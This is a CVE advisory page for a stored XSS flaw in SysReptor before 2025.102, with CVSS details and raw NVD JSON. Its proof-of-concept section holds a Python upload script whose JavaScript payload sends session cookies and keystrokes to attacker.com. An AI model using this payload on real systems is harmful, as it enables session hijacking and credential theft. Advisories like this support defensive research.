Security Vulnerability Report
中文
CVE-2025-66561 CVSS 7.3 HIGH

CVE-2025-66561

Published: 2025-12-04 23:15:47
Last Modified: 2025-12-11 21:16:21

Description

SysReptor is a fully customizable pentest reporting platform. Prior to 2025.102, there is a Stored Cross-Site Scripting (XSS) vulnerability allows authenticated users to execute malicious JavaScript in the context of other logged-in users by uploading malicious JavaScript files in the web UI. This vulnerability is fixed in 2025.102.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:syslifters:sysreptor:*:*:*:*:*:*:*:* - VULNERABLE
SysReptor < 2025.102

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-66561 Stored XSS PoC for SysReptor # This PoC demonstrates the stored XSS vulnerability in SysReptor < 2025.102 import requests import json TARGET = "http://target-sysreptor.com" LOGIN_URL = f"{TARGET}/api/auth/login/" UPLOAD_URL = f"{TARGET}/api/uploads/" # Malicious JavaScript payload for XSS XSS_PAYLOAD = """ <script> // Steal session cookies document.cookie; // Exfiltrate data fetch('https://attacker.com/steal?data=' + btoa(document.cookie)); // Keylogger example document.addEventListener('keypress', function(e) { fetch('https://attacker.com/log?k=' + e.key); }); </script> """ def exploit(): # Step 1: Login with low privilege account session = requests.Session() login_data = { "username": "[email protected]", "password": "password123" } response = session.post(LOGIN_URL, json=login_data) if response.status_code != 200: print("[-] Login failed") return print("[+] Login successful") # Step 2: Upload malicious file with XSS payload files = { "file": ("malicious.js", XSS_PAYLOAD, "application/javascript") } upload_response = session.post(UPLOAD_URL, files=files) if upload_response.status_code in [200, 201]: print("[+] Malicious file uploaded successfully") print(f"[+] Payload stored at: {upload_response.json().get('url')}") print("[*] Any user viewing this file will execute the XSS payload") else: print(f"[-] Upload failed: {upload_response.status_code}") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66561", "sourceIdentifier": "[email protected]", "published": "2025-12-04T23:15:47.107", "lastModified": "2025-12-11T21:16:21.393", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SysReptor is a fully customizable pentest reporting platform. Prior to 2025.102, there is a Stored Cross-Site Scripting (XSS) vulnerability allows authenticated users to execute malicious JavaScript in the context of other logged-in users by uploading malicious JavaScript files in the web UI. This vulnerability is fixed in 2025.102."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:syslifters:sysreptor:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.102", "matchCriteriaId": "7FA895A6-D084-4A74-AE1F-8E998D5BC747"}]}]}], "references": [{"url": "https://github.com/Syslifters/sysreptor/security/advisories/GHSA-64vw-v5c4-mgvm", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}